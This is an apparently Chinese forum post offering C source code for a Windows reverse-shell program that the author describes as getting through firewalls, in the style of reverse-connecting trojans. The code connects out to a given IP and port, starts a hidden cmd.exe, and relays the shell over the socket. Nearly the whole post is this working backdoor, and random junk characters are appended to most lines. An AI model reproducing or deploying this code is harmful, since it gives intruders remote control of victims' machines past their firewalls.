这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3m]4=
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/* ============================== 8##-EN;ag
Rebound port in Windows NT *g:4e3Iy
By wind,2006/7 <C1H36p
===============================*/ 9_# >aOqL
#include q
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#include V]|^&A_c
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#pragma comment(lib,"wsock32.lib") ]e"=$2d$
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void OutputShell(); k$R~R-'
SOCKET sClient; $?
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MW! srTQ_
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void main(int argc,char **argv) YZL kL26[
{ Ed0QQyC@9
WSADATA stWsaData; oI0M%/aM
int nRet; '-r).Xk
SOCKADDR_IN stSaiClient,stSaiServer; hv`~?n)D66
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if(argc != 3) 09X01X[
{ Hbj,[$Jb
printf("Useage:\n\rRebound DestIP DestPort\n"); `>7;!
return; JmF l|n/H
} F |d\k Q
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WSAStartup(MAKEWORD(2,2),&stWsaData); N+m)/x
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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stSaiClient.sin_family = AF_INET; .GsV>H
stSaiClient.sin_port = htons(0); O!mvJD
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5QW=&zI`=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) K$&s=Hm
{ g-Mj.owu=
printf("Bind Socket Failed!\n"); Qiua
return; J ][T"K
} q-
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stSaiServer.sin_family = AF_INET; KX76UW
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e bm])~ZL
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); T_i:}ul
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) LIS)(X<]?
{ &R[ Mc-2
printf("Connect Error!"); ?+_Gs;DGVE
return; i'a?kSy
} .\[`B.Q
OutputShell(); ta35 K"
} `Bo*{}E
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void OutputShell() I(]}XZq
{ TlXI|3Ip
char szBuff[1024]; B:dB,3,`(
SECURITY_ATTRIBUTES stSecurityAttributes; SFB~
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OSVERSIONINFO stOsversionInfo; aUzBV\Yd}
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ~8~aJ^[
STARTUPINFO stStartupInfo; {%<OD8>p
char *szShell; :9O#ObFR
PROCESS_INFORMATION stProcessInformation; bP8Sj16q
unsigned long lBytesRead; GS0;bI4ay
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UM!ENI|
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); VLS0XKI)
stSecurityAttributes.lpSecurityDescriptor = 0; ~;QvWS
stSecurityAttributes.bInheritHandle = TRUE; O}tZ - 'T
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )'Oh`$M
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Fw/6?:C}O6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ~Fe${2
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9:fOYT$8
stStartupInfo.wShowWindow = SW_HIDE; |M>eEE*F<
stStartupInfo.hStdInput = hReadPipe; pA`+hQNN
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E'v_#FLvR
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GetVersionEx(&stOsversionInfo); I[=j&rK`
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switch(stOsversionInfo.dwPlatformId) ji1viv
{ Scp7X7{N
case 1: y]2qd35u_A
szShell = "command.com"; $h^wG)s2P
break; #?5 (o
default: ,O.3&Nz,c
szShell = "cmd.exe"; '/`= R
break; y@ ML/9X8q
} 2GFLnz
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &Q+Ln,(&L
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send(sClient,szMsg,77,0); :Nu^
while(1) anIAM
{ kz{/(t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z&ZP"P4
if(lBytesRead) W;_nK4$%'
{ OH;b"]
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); nNrPHNfqD
send(sClient,szBuff,lBytesRead,0); Tg!i%v(-t
} dOqOw M.y
else Fp@TCPe#
{ %R@X>2l/_
lBytesRead=recv(sClient,szBuff,1024,0); z."a.>fPaO
if(lBytesRead<=0) break; 8*8Zc/{
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); K|Ld,bq
} ="x\`+U
} ' pm2n0
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return; =jlt5 z
}